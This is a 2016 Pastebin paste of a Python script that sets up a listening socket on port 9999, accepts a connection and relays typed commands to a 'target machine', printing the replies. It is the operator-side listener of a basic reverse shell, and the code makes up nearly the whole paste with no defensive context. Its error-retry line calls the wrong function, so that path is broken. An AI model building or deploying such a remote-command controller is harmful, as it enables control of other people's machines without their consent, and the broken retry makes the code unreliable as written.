Advertisement
BornePlays

Modules: socket, os | Creating a server

May 7th, 2016
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.53 KB | None | 0 0
  1.  
  2. import socket
  3. import sys
  4.  
  5. #Socket creation
  6.  
  7. def socket_create():
  8. try:
  9. global host
  10. global port
  11. global s
  12.  
  13. host = ''
  14. port = 9999
  15.  
  16. s = socket.socket()
  17.  
  18. except socket.error as msg:
  19. print('[!] Socket creation error: ' + str(msg))
  20.  
  21. def socket_bind():
  22. try:
  23. global host
  24. global port
  25. global s
  26. print('[+] Binding socket to port: ' + str(port))
  27. s.bind((host, port)) # Binds host and port and waits for connection from client
  28. s.listen(5)
  29. except socket.error as msg: # Displays error message then retrys command
  30. print('[!] Socket binding error: ' + str(msg) + '\n' + 'Retrying...')
  31. socket.bind()
  32.  
  33.  
  34.  
  35. # Established a connection with client (socket must be listening)
  36.  
  37. def socket_accept():
  38. conn, address = s.accept()
  39. print('Connection has been established\n' + 'IP: ' + address[0] + '\n' + 'Port: ' + str(address[1]))
  40. send_commands(conn)
  41. conn.close()
  42.  
  43.  
  44. #Send commands to target machine
  45.  
  46. def send_commands(conn):
  47. while True:
  48. # what ever written into cmd will become cmd variable
  49. cmd = input()
  50. if cmd == 'quit':
  51. conn.close()
  52. s.close()
  53. sys.exit()
  54. if len(str.encode(cmd)) > 0:
  55. conn.send(str.encode(cmd))
  56. client_response = str(conn.recv(1024), 'utf-8')
  57. print(client_response)
  58.  
  59. def main():
  60. socket_create()
  61. socket_bind()
  62. socket_accept()
  63.  
  64. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement